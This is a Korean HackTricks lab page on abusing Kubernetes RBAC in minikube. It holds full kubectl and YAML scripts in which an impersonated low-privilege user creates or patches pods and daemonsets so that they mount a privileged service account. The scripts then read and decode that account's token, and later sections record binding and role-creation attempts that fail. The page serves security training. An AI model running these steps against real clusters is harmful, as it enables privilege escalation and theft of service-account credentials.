Kubernetes Roles Abuse Lab

Reading time: 11 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 실습은 minikube 내에서 실행할 수 있습니다.

Pod Creation -> ns SAs로 상승

우리는 다음을 생성할 것입니다:

  • 비밀을 읽을 수 있는 클러스터 권한을 가진 서비스 계정 "test-sa"
  • ClusterRole "test-cr" 및 ClusterRoleBinding "test-crb"가 생성됩니다.
  • "Test"라는 사용자에게 pod를 나열하고 생성할 수 있는 권한이 부여됩니다.
  • Role "test-r" 및 RoleBinding "test-rb"가 생성됩니다.
  • 그런 다음 SA가 비밀을 나열할 수 있고 사용자 Test가 pod를 나열할 수 있음을 확인합니다.
  • 마지막으로 사용자 Test를 가장하여 SA test-sa를 포함하는 pod를 생성하고 서비스 계정 토큰을 훔칩니다.
  • 이는 사용자가 이러한 방식으로 권한을 상승시킬 수 있음을 보여주는 방법입니다.

note

시나리오를 생성하기 위해 관리 계정이 사용됩니다.
또한, 이 예제에서 sa 토큰을 유출하기 위해 관리 계정이 사용되어 생성된 pod 내에서 exec합니다. 그러나, 여기서 설명한 대로, pod의 선언에는 토큰 유출이 포함될 수 있으므로, "exec" 권한은 토큰을 유출하는 데 필요하지 않으며, "create" 권한만으로 충분합니다.

bash
# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Daemonset 생성

bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

패치 데몬셋

이 경우 데몬셋을 패치하여 해당 포드가 우리가 원하는 서비스 계정을 로드하도록 할 것입니다.

사용자에게 패치 대신 업데이트 동사가 있는 경우, 이는 작동하지 않습니다.

bash
# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

작동하지 않음

바인딩 생성/패치

작동하지 않음:

  • create 동사만으로 새로운 RoleBinding을 생성
  • patch 동사만으로 새로운 RoleBinding을 생성 (바인딩 권한이 필요함)
  • 자신에게 또는 다른 SA에게 역할을 할당할 수 없음
  • patch 동사만으로 새로운 RoleBinding을 수정 (바인딩 권한이 필요함)
  • 자신에게 또는 다른 SA에게 역할을 할당할 수 없음
bash
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

"Privilege Escalation Prevention and Bootstrapping" 섹션에서 https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ 에서 SA가 Binding을 생성할 수 있고 Role/Cluster role에 대해 명시적으로 Bind 권한을 가지고 있다면, 권한이 없는 Roles/ClusterRoles를 사용하여도 바인딩을 생성할 수 있다고 언급되어 있습니다.
하지만, 저에게는 작동하지 않았습니다:

yaml
# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
yaml
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

임의 역할 생성

이 예제에서는 역할 리소스에 대한 create 및 path 권한을 가진 역할을 생성하려고 합니다. 그러나 K8s는 생성하는 주체가 가진 권한보다 더 많은 권한을 가진 역할을 생성하는 것을 방지합니다.

yaml
# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기